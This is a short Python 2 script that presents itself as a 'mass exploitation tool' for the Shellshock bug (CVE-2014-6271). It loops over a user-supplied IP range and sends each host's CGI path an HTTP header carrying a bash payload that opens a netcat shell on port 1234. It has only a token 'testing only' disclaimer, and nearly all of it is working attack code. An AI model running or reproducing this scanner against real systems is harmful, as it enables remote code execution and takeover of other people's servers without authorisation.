Shellshock_check_by_IP_py

#CVE-2014-6271 cgi-bin reverse shell
# NOTE :- This Script is not Mine, Just copied a modded one for better use.~hemlet via ~ Un_N0n - mirror via Cyberwarzone.com. This code is publicly available at numerous locations. Please apply caution when running against production equipment. Gaillimh Abu.

# Use for testing only not intended for malicious usage

import httplib,urllib

print '\tCVE-2014-6271 mass exploitation tool\n'
print '\tReverse shell returned on port 1234 ;) *We Love Shells*\n'

url = raw_input("Enter The First Three Octets To Scan [Example : xxx.xxx.xxx] : ")
finput = input("Enter the Starting IP of Range to Scan  : ")
sinput = input("Enter the Ending IP of Range to Scan for : ")
print

path = raw_input("Enter Vuln CGI Path : ")

for x in range(finput,sinput + 1):
    murl = url + "." + str(x)
    conn = httplib.HTTPConnection(murl)
    reverse_shell="() { ignored;};/bin/bash -c '/bin/rm -f /tmp/f; /usr/bin/mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f'"
    headers = {"Content-type": "application/x-www-form-urlencoded",
        "test": reverse_shell}
    conn.request("GET",path,headers=headers)
    res = conn.getresponse()

    if str(res.status) == '200':
        print "[+] Website Present and Payload Would have been Successfully Sent To. Buy a towel with don't panic written on it.  " + murl + path
        data = res.read()
        print data
    else:
        print "[!]" + murl + path + " Is Not Vulnerable. Beer O'Clock"